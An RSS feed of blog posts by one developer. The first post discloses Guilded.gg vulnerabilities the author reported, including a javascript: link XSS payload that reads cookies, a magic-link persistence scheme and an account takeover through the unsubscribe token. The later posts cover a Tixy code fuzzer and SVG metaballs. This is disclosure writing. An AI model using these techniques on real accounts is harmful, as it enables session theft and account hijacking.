<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Antony Garand</title>
    <description>The latest articles on DEV Community by Antony Garand (@antogarand).</description>
    <link>https://dev.to/antogarand</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F77692%2F42cc26a2-feb1-42cc-9dbe-7df4f85f9e48.jpg</url>
      <title>DEV Community: Antony Garand</title>
      <link>https://dev.to/antogarand</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/antogarand"/>
    <language>en</language>
    <item>
      <title>Vulnerabilities in Guilded.gg</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Wed, 20 Dec 2023 03:23:52 +0000</pubDate>
      <link>https://dev.to/antogarand/vulnerabilities-in-guildedgg-58m6</link>
      <guid>https://dev.to/antogarand/vulnerabilities-in-guildedgg-58m6</guid>
      <description>&lt;p&gt;I recently stumbled upon &lt;a href="https://www.youtube.com/watch?v=i2ZezwcUzMI" rel="noopener noreferrer"&gt;a Youtube video&lt;/a&gt; by No Text To Speech regarding Guilded issues that reminded me of an interesting vulnerability I reported to their service few years ago, and made me realize I never wrote about it!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.guilded.gg/" rel="noopener noreferrer"&gt;Guilded&lt;/a&gt; is a chat service similar to Discord with larger community-oriented features, such as a proper Forum, event calendar, tournaments and various similar goodies. With this increase in features comes an increase in scope for potential bugs and vulnerabilities!&lt;/p&gt;

&lt;p&gt;3 years ago, I started looking into finding such vulnerabilities, so here are the result of this investigation!&lt;/p&gt;

&lt;h2&gt;
  
  
  Stored XSS via javascript links
&lt;/h2&gt;

&lt;p&gt;An easy one I immediately found was that links were only validated on the client-side, allowing us to craft a link containing a javascript payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Link](javascript:alert(document.cookie))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When clicked on by users, we could execute arbitrary JavaScript on their behalf!&lt;br&gt;
I crafted few fun payloads abusing the API authentication being cookie-based, meaning any calls I did to the API was already authenticated as the current user, and it allowing to change a password without re-entering the existing password first!&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjjl33bsys3xtbo69nm10.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjjl33bsys3xtbo69nm10.png" alt="Posts within the Guilded forum with a Javascript payload"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Interestingly, the payloads are still there to this day even though they no longer work due to some client-side validation before redirecting to the browser to the links.&lt;/p&gt;
&lt;h2&gt;
  
  
  Crashing sections with invalid JSON
&lt;/h2&gt;

&lt;p&gt;There are multiple places in which you can leverage some more advanced markdown features, such as using bold and links within the text:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Forum thread, comment&lt;/li&gt;
&lt;li&gt;Tournament&lt;/li&gt;
&lt;li&gt;Announcements&lt;/li&gt;
&lt;li&gt;Profile comments
Essentially everywhere but the basic chat messages.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Through the API, these messages are sent as a JSON representation of the Markdown format, but a lack of server-side validation of the whole depth of these messages allows us to send a broken representation of the items.&lt;br&gt;
For example, replacing a nested object with a literal string: &lt;code&gt;"content":"text"&lt;/code&gt; instead of &lt;code&gt;"content":{…}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This allows us to send invalid payloads to the server which are stored and sent to the user clients, which do not handle these invalid nodes cleanly:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjscw652zz3rrymy3k7bb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjscw652zz3rrymy3k7bb.png" alt="Forum message displaying an error loading content"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While in itself this might seem like a self sabotage, in some sections any broken component will break the whole section and prevent anyone else from being able to view or edit the content, such as within the Tournaments:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvjbujtzy5qwrcme29g64.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvjbujtzy5qwrcme29g64.png" alt="Tournament section displaying an error loading content"&gt;&lt;/a&gt;&lt;br&gt;
This means any user with the permissions to insert content within these sections could brick them for everyone!&lt;/p&gt;

&lt;p&gt;Interestingly, this still hasn't been fixed per the NTTS video I referenced earlier: Despite knowing about this for over 3 years, it hasn't been recognized as a bug worth fixing since then.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6idjs4hzjzopi7bvu5kx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6idjs4hzjzopi7bvu5kx.png" alt="Email from Oct. 2020 to security@guilded.gg mentioning "&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Weak account settings security
&lt;/h2&gt;

&lt;p&gt;While not a vulnerability per se, I included this within my original report as it is a security practice that many younger companies neglect implementing as it is fairly trivial to overlook.&lt;br&gt;
All of the user settings, including the email and password, could be updated without any additional authentication: For example, to update the password, you did not need to enter the current password.&lt;br&gt;
Additionally, when a major setting was changed, such as the email or password, no notifications were sent to the original email!&lt;br&gt;
This means that once logged in on an account, an attacker could change the credentials, both email and password, without the original account owner being made aware!&lt;/p&gt;
&lt;h2&gt;
  
  
  Magic links lacking restrictions
&lt;/h2&gt;

&lt;p&gt;Guilded used to send you magic links when you tried logging into the application and when using the "Forgot your password" feature: This link would authenticate you without having to enter your password, making it a convenient way to login.&lt;/p&gt;

&lt;p&gt;While having a compromised account is bad enough, some decisions made within this feature made it impossible to secure any account once it had been compromised: &lt;br&gt;
The magic links are not limited to one use, and only expire after 48h.&lt;br&gt;
They also work even if the email or password has been changed since the original link was made, or if a new link was generated.&lt;/p&gt;

&lt;p&gt;Overall, what this means is that once an account has been compromised, there are no ways of securing the account back as the attacker can always use an existing magic link to regain access to it.&lt;br&gt;
Additionally, an interesting attack vector I thought of by combining the lack of notifications on email update and this vulnerability would be the following, allowing a persisted account access without the owners knowledge.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The attacker compromises the account&lt;/li&gt;
&lt;li&gt;The attacker changes the email to his.
Note that with the weak account settings security, the original author is not notified of this change, as no emails are sent!&lt;/li&gt;
&lt;li&gt;The attacker sends himself a magic link&lt;/li&gt;
&lt;li&gt;The attacker restores the account email to the original one&lt;/li&gt;
&lt;li&gt;Repeat step 2-4 every 2 days, before the expiration of the original magic link.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now, if the attacker is logged out of the account at any time, he can use the magic link he has in reserve to log back into the account and keep his access.&lt;/p&gt;
&lt;h2&gt;
  
  
  Dangerous email forwarding: API key within unsubscribe button
&lt;/h2&gt;

&lt;p&gt;This is the favorite vulnerability I've discovered within this service, as it allowed a user to compromise his own account by forwarding the Guilded news to his friends.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;token&lt;/code&gt; generated for notification settings and the unsubscribe button, included in all correspondence from Guilded contained a fully-fledged API token which can be used to take over an account.&lt;/p&gt;

&lt;p&gt;There are two ways to authenticate yourself on the API: Using your Cookies, or using an authentication token within the request body.&lt;br&gt;
When using the website or app, the cookie is used as a passive authentication, but emails do not have access to such cookies, and instead are passing through a specific token which should allow the website to update the email notification settings and unsubscribe the user.&lt;/p&gt;

&lt;p&gt;As you might expect from this title, the token provided within the unsubscribe button was not restricted in scope to only update the email settings: Instead, by decoding the literal token or copying it from the API request to update the notification preferences, you can use it to perform any other API action.&lt;/p&gt;

&lt;p&gt;Under each email sent by Guilded, the notification settings link has the following format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://www.guilded.gg/emailsettings?info=ey[base64value]=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once base64 decoded, we get a payload following this format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  email: "account@email.com"
  token: "MWZjY2Qw ... YWU="
  userId: 215754
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The token here is used to authenticate us when calling the &lt;code&gt;/users/[id]/profilev2&lt;/code&gt; endpoint and update the &lt;code&gt;settingsInfo&lt;/code&gt; values for the email preferences.&lt;br&gt;
This endpoint is also used to update the profile values, such as the username and email.&lt;br&gt;
This means we can use this token to change the user email, and compromise the account.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Finbfwdz45n0x9x583u15.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Finbfwdz45n0x9x583u15.png" alt="Request using the token extracted from the email"&gt;&lt;/a&gt;&lt;br&gt;
In this example, I've updated my username using this token.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Overall, I had fun testing the security of Guilded: It had its share of interesting quirks and vulnerabilities and was a fun target. It was my first time seeing the unsubscribe button allowing a complete account takeover, one more tool to add to my arsenal when hacking startups!&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Making a simple fuzzer for Tixy</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Thu, 31 Dec 2020 03:34:34 +0000</pubDate>
      <link>https://dev.to/antogarand/making-a-simple-fuzzer-for-tixy-24jk</link>
      <guid>https://dev.to/antogarand/making-a-simple-fuzzer-for-tixy-24jk</guid>
      <description>&lt;p&gt;You might have heard about &lt;a href="https://tixy.land/" rel="noopener noreferrer"&gt;tixy.land&lt;/a&gt;, the minimalist javascript playground for creative coding.&lt;/p&gt;

&lt;p&gt;&lt;iframe class="tweet-embed" id="tweet-1323399877611708416-430" src="https://platform.twitter.com/embed/Tweet.html?id=1323399877611708416"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1323399877611708416-430');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1323399877611708416&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;p&gt;While scrolling on the tixy feed, being amazed by how creative people can be, I stumbled upon a discussion between Martin Kleppe, the creator of Tixy, and Gareth Heyes, a well known security researcher, regarding creating a Fuzzer for tixy: &lt;br&gt;
&lt;iframe class="tweet-embed" id="tweet-1334225267892621314-901" src="https://platform.twitter.com/embed/Tweet.html?id=1334225267892621314"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1334225267892621314-901');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1334225267892621314&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;p&gt;As I had experience with code modification tools, I decided to try hacking something up and make a quick fuzzer!&lt;/p&gt;

&lt;p&gt;Want to see the result first?&lt;br&gt;&lt;br&gt;
&lt;small&gt;Possible flashes warning&lt;/small&gt;&lt;br&gt;
Sure, &lt;a href="https://garand.dev/projects/tixy/gallery" rel="noopener noreferrer"&gt;click here&lt;/a&gt;! &lt;/p&gt;
&lt;h1&gt;
  
  
  Getting started
&lt;/h1&gt;
&lt;h2&gt;
  
  
  Tixy setup
&lt;/h2&gt;

&lt;p&gt;Setting up tixy locally is pretty easy, especially since it's on &lt;a href="https://github.com/aemkei/tixy/tree/main/src" rel="noopener noreferrer"&gt;github&lt;/a&gt;!&lt;br&gt;&lt;br&gt;
However, since I only wanted to change the javascript a bit, I wanted a single file, &lt;code&gt;index.html&lt;/code&gt;, without having to compile the CSS myself.&lt;br&gt;&lt;br&gt;
I ended up copying the html of the live version at tixy.land, and replacing the &lt;code&gt;script&lt;/code&gt; content with the not minified &lt;a href="https://github.com/aemkei/tixy/blob/main/src/index.js" rel="noopener noreferrer"&gt;index.js&lt;/a&gt; from the repo, and replacing the imported &lt;code&gt;example.json&lt;/code&gt; with a variable having the same value.&lt;/p&gt;
&lt;h2&gt;
  
  
  Adding jscodeshift
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/facebook/jscodeshift" rel="noopener noreferrer"&gt;JSCodeShift&lt;/a&gt; is a powerful tool to navigate and modify the &lt;a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree" rel="noopener noreferrer"&gt;AST&lt;/a&gt; of source code which I'll be using.&lt;br&gt;&lt;br&gt;
Adding &lt;a href="https://github.com/facebook/jscodeshift" rel="noopener noreferrer"&gt;jscodeshift&lt;/a&gt; was slightly harder than setting tixy up: As I wanted to keep things simple, I couldn't use the existing npm version as it would require compiling the project.&lt;br&gt;&lt;br&gt;
I ended up using &lt;a href="http://browserify.org/" rel="noopener noreferrer"&gt;Browserify&lt;/a&gt; to compile it to a single file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx browserify jscodeshift/index.js &lt;span class="nt"&gt;-o&lt;/span&gt; jscodeshift.min.js &lt;span class="nt"&gt;--standalone&lt;/span&gt; jscodeshift
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I then copied this file into my project, added a reference to it in the HTML, and was ready to go!&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting samples
&lt;/h2&gt;

&lt;p&gt;To fuzz values, we need to start by gathering existing examples, ideally ones with interesting effects.&lt;br&gt;&lt;br&gt;
I ended up merging the existing &lt;code&gt;examples.json&lt;/code&gt; and the ones under the &lt;a href="https://tixy.land/gallery/" rel="noopener noreferrer"&gt;tixy.land/gallery&lt;/a&gt; page.&lt;/p&gt;
&lt;h1&gt;
  
  
  Making the fuzzer
&lt;/h1&gt;

&lt;p&gt;With our setup in place, let's start thinking about how to actually implement the fuzzer.&lt;/p&gt;

&lt;p&gt;Here is a rough outline of the plan:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pick random samples out of the examples&lt;/li&gt;
&lt;li&gt;Convert them to random fragments&lt;/li&gt;
&lt;li&gt;Merge the fragments together&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To split the project into smaller samples, we need to figure out exactly where to split!&lt;br&gt;&lt;br&gt;
After analyzing few of the tixies on &lt;a href="https://astexplorer.net/#/gist/0a5ae3ae8c84c3304f9dccbe9f53134c/1100ed46cc1e3897b483d92659ffab6d14874b30" rel="noopener noreferrer"&gt;astexplorer&lt;/a&gt;, I ended up picking two distinct operations which can usually be extracted without issues: &lt;br&gt;
&lt;em&gt;Binary Expressions&lt;/em&gt; and &lt;em&gt;Call Expressions&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Binary Expressions&lt;/strong&gt; are mostly arithmetic operators such as &lt;code&gt;+&lt;/code&gt; and &lt;code&gt;-&lt;/code&gt;, with few other exceptions.&lt;br&gt;
You can view the complete list of these operators on the &lt;a href="https://github.com/benjamn/ast-types/blob/master/def/core-operators.ts#L1" rel="noopener noreferrer"&gt;ast-types&lt;/a&gt; repository.&lt;br&gt;&lt;br&gt;
Extracting the binary expression node is picking both sides of the equation as well as the operator itself, and they are typically self-contained.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Call Expressions&lt;/strong&gt; are function calls, such as &lt;code&gt;Math.random()&lt;/code&gt; or &lt;code&gt;sin(y)&lt;/code&gt;. Like the binary expressions, they usually are self contained, and small enough to extract without issues.&lt;/p&gt;

&lt;p&gt;Now that we know &lt;em&gt;what&lt;/em&gt; to extract, let's start on the &lt;em&gt;how&lt;/em&gt; to extract them!&lt;/p&gt;

&lt;p&gt;Picking random samples is simple: Pick a size, and pick random elements of the &lt;code&gt;examples&lt;/code&gt; array!&lt;br&gt;&lt;br&gt;
In this case, I picked an arbitrary size of &lt;code&gt;8&lt;/code&gt; for the biggest sample count, for no particular reason.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sampleCount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;samples&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sampleCount&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;fill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;pickRandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;allSamples&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Separating them by valid fragments is where we start using JSCodeShift.&lt;br&gt;&lt;br&gt;
From a string with valid JavaScript code, we can create our own &lt;code&gt;jscodeshift&lt;/code&gt; instance with it by calling &lt;code&gt;jscodeshift(code)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then, using the &lt;code&gt;.find&lt;/code&gt; method on the resulting object with a type such as &lt;code&gt;BinaryExpression&lt;/code&gt; gives us an array-like object with all of the binary expressions.&lt;br&gt;&lt;br&gt;
Finally, to convert the AST node returned by JSCodeShift back to JavaScript, we need to call the &lt;code&gt;toSource&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;Simple, isn't it? &lt;/p&gt;

&lt;p&gt;Here is how the resulting code looks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;availableOperations&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;jsc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;jscodeshift&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sample&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;jsc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;BinaryExpression&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;availableOperations&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;chosenSnippet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pickRandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;availableOperations&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resultingCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;jscodeshift&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;chosenSnippet&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toSource&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, doing this on all of our selected samples, and on both binary expressions and call expressions, we end up with an array of random code snippets.&lt;/p&gt;

&lt;p&gt;Now, to merge the fragments back together, I decided to add a random operator between each of them.&lt;br&gt;&lt;br&gt;
Thankfully, as both sides should be valid JavaScript strings, there is no need to use JSCodeShift anymore, a simple concatenation will do.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;delimiters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;+&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;%&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;|&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;%&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;^&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;newCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fragments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reduce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;acc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;acc&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;acc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;pickRandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;delimiters&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Result
&lt;/h1&gt;

&lt;p&gt;Where would be the fun of generating random snippets if we couldn't view the results!&lt;/p&gt;

&lt;p&gt;I ripped the existing &lt;code&gt;nextExample&lt;/code&gt; function of the existing &lt;code&gt;tixy&lt;/code&gt; site and instead of using the next examples, used a random code snippet from the fuzzer.&lt;/p&gt;

&lt;p&gt;Now, for the amazing results, I saved you the hassle of doing it yourself! Instead, you can visit &lt;a href="https://garand.dev/projects/tixy/?code=-y%2Fmax(x-8%2Cy-8%2C7-x%2C7-y)*(hypot(x-t%2510%2Cy-t%258)%20-%20t%252*9)%3E%3EMath.sin(t)%251%2F32*y-t%258%25(x-8)%2Fy" rel="noopener noreferrer"&gt;garand.dev/projects/tixy/&lt;/a&gt;, and click on the tixy until you find interesting results!&lt;br&gt;&lt;br&gt;
For maximum viewing pleasure, I also swapped the gallery page to use my fuzzer instead of good examples: &lt;a href="https://garand.dev/projects/tixy/gallery" rel="noopener noreferrer"&gt;https://garand.dev/projects/tixy/gallery&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Many of them are either a stroboscopic nightmare or an exact ripoff of the examples, but sometimes there are interesting patterns emerging.&lt;/p&gt;

&lt;p&gt;Found any interesting ones? Please link to them in the comments! I'd love to see what can come out of this project!&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>experiment</category>
      <category>codemods</category>
    </item>
    <item>
      <title>SVG Metaballs</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Mon, 07 Dec 2020 20:59:06 +0000</pubDate>
      <link>https://dev.to/antogarand/svg-metaballs-35pj</link>
      <guid>https://dev.to/antogarand/svg-metaballs-35pj</guid>
      <description>&lt;p&gt;I find &lt;a href="https://duckduckgo.com/?q=metaballs&amp;amp;ia=images&amp;amp;iax=images" rel="noopener noreferrer"&gt;metaballs&lt;/a&gt; fascinating: Pure shapes fusing and morphing with each other, making a weird gooey result. Such a simple idea, yet I had no idea how they could be implemented for a very long time.&lt;/p&gt;

&lt;p&gt;I remember seeing an amazing interactive gallery using these metaballs on the &lt;a href="https://web.archive.org/web/20190623031727if_/https://www.canva.com/" rel="noopener noreferrer"&gt;canva.com&lt;/a&gt; website:&lt;/p&gt;

